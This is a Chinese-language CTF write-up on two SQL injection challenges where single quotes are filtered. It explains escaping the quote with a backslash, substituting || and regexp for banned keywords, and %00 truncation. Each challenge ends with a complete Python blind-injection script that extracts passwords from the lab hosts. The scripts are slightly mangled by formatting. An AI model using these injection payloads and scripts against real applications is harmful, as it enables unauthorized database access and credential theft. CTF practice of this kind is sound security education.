单引号被ban了可以想一下/将他转义

[NCTF2019]SQLi

这个在很早之前刚接触CTF的时候写的题,没写出来。因为压根不知道怎么办,最近整理了一下CTF的Sql注入,了解一下。希望在后的题能弄出来吧。

通过御剑扫描发现robots.txt,通过robots.txt发现hint.txt。随后得到提示

过滤单引号的注入题集 - 图1

我的天,这么多被过滤了,基本的Sql注入比如联合注入(union select),有点困难了,但是他没有过滤updatexml,说不定我们可以报错注入,但是好像行不通,因为,concat被ban了,or也被ban了。所以昨天哪一篇文章or被ban了和infomaition_shcema也没有用了

这里看到一点,连我们的单引号也被ban了。

我们可以尝试一下转义,那么就将单引号进行转义,那么语句就为下,username后面跟的值就为’ and passwd=,则为假

select * from users where username='\' and passwd=' '

这样闭合了前面的单引号,那么后面还是需要判断passwd的我再构造passwd值,用分号闭合sql语句,但是后面还有单引号,用%00截断(PHP5),这样即可判断passwd

单引号可以使用\来转义,or可以采用||,=可以采用regexp,

select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"参数值";%00'

本地测试如下

过滤单引号的注入题集 - 图2

payload

因为这样判断的密码是从密码中匹配的,突然想起可以用^匹配字符开头

过滤单引号的注入题集 - 图3

import time

import string

import requests

from urllib import parse

passwd = ‘’

string= string.asciilowercase + string.digits + ‘

url = ‘http://211b2ad2-2c80-4e89-bb57-e8992d46b510.node3.buuoj.cn/index.php

for n in range(100):

  1. for m in string:
  2. time.sleep(0.1)
  3. data = {
  4. "username":"\\",
  5. "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
  6. }
  7. res = requests.post(url,data=data)
  8. print(data['passwd']+'-'*int(10)+m)
  9. if 'welcome' in res.text:
  10. passwd += m
  11. print(m)
  12. break
  13. if m=='_' and 'welcome' not in res.text:
  14. break

print(passwd)

过滤单引号的注入题集 - 图4

[BJDCTF 2nd]简单注入

跟上题一样,会出现hint.txt

大概意思和上一题相同

username处注入\来转义单引号,password处使用sql语句整数型注入。

例如:

  1. 传入admin\or/**/length(database())>0#会回显stronger字样
  2. 传入admin\or/**/length(database())<0#会回显girl friend字样
    大师傅都么得girl friend,我也没得……呀。过滤单引号的注入题集 - 图5

过滤单引号的注入题集 - 图6

import requests

url = “http://bc5d0433-45b5-486d-8fdd-541a8662fd10.node3.buuoj.cn/index.php

data = {“username”:”admin\“,”password”:””}

result = “”

i = 0

while( True ):

  1. i = i + 1
  2. head=32
  3. tail=127

while( head < tail ):

mid = (head + tail) >> 1

  1. #payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)

payload = “or/**/if(ascii(substr(password,%d,1))>%d,1,0)#”%(i,mid)

data[‘password’] = payload

r = requests.post(url,data=data)

  1. if "stronger" in r.text :
  2. head = mid + 1
  3. else:
  4. tail = mid

last = result

if head!=32:

result += chr(head)

else:

  1. break

print(result)